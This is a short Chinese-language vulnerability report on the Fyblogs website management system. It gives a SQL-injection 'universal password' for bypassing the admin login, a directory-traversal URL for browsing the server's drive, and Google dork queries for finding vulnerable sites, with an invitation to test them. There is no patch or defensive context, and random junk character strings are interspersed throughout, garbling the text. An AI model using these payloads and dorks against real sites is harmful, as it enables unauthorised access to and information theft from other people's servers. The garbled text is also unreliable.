Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过

% X5 W( Y% z0 G7 C简要描述：

Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！

详细说明：

后台万能密码 'or'='or'
6 _, t: \- }5 U3 h8 M$ u) B后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
/ d1 v6 c7 o7 P! t  Padmin/uploadfile.asp?currentFolder=/upfiles/../
' s* I+ L# f8 d/ A; K* U! D( m% |
$ O2 Q3 h) Y, v5 p" b; ?漏洞证明：
5 V/ B) m6 J& C  b: U
. Q' Y6 y1 V! K$ Z谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?
! E7 v3 b7 x# G5 H0 r4 N/ W
3 O# O  q, P; }' r' q可以测试
# B9 E, m! L# c( g, ~4 n" F+ d/ h
. z! Q1 t5 B, _7 T​
/ y5 r, Y( k, P  J